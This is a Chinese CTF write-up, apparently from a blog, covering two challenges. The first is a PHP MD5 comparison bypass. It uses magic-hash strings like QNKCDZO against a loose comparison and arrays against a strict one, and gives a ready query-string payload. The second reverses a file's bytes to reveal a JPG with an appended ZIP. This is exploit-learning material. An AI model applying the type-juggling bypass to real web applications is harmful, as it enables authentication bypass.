CTF
MD5绕过
http://challenge.basectf.fun:49136/
<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';
if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
$name = $_GET['name'];
$name2 = $_GET['name2'];
$password = $_POST['password'];
$password2 = $_POST['password2'];
if ($name != $password && md5($name) == md5($password)){
if ($name2 !== $password2 && md5($name2) === md5($password2)){
echo $flag;
}
else{
echo "再看看啊,马上绕过嘞!";
}
}
else {
echo "错啦错啦";
}
}
else {
echo '没看到参数呐';
}
?> 没看到参数呐
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
0e215962017
强比较直接用数组绕过就行
payload: ``` /?name=QNKCDZO&name2[]=1 password=240610708&password2[]=2 ```正在看还是反着看
文件的本质就是一堆字节。像 010 Editor 这样的十六进制编辑器可以查看/编辑文件的原始字节流。
大部分文件有其固定的文件结构,常见的图片格式如 PNG、JPG 等都是由一系列特定的数据块组成的。在许多非文本文件的开头,都会有一片区域来显示这个文件的格式,这就是文件头标志。例如 JPG 开头通常是ÿØÿà..JFIF这样的模式,看到这个模式就知道是 JPG 文件。
写一个脚本将文件逐字节逆序:
def reverse_bytes_in_file(input_file_path, output_file_path):
try:
with open(input_file_path, 'rb') as infile:
content = infile.read()
reversed_content = content[::-1]
with open(output_file_path, 'wb') as outfile:
outfile.write(reversed_content)
print(f"文件内容已成功逆序,并写入到 {output_file_path}")
except FileNotFoundError:
print(f"未找到文件: {input_file_path}")
except Exception as e:
print(f"发生错误: {e}")
input_file = './flag'
output_file = './out'
reverse_bytes_in_file(input_file, output_file)
也可以将文件上传到 CyberChef,逆序(注意按字节而不是字符),然后下载:

得到一个文件,使用 010 Editor 的模板功能可以识别出最后有一个未知区域:

PK.. (50 4B 03 04) 则是 ZIP 压缩文件的标志。
图片查看软件在显示完 JPG 内容后,会忽略这个部分;而压缩软件会在文件中寻找这个 50 4B 03 04。所以用看图软件打开这个文件会看到图片,用压缩软件打开这个文件会看到压缩包中的内容。
binwalk 分离(也可以 010 Editor 手动选中保存)



浙公网安备 33010602011771号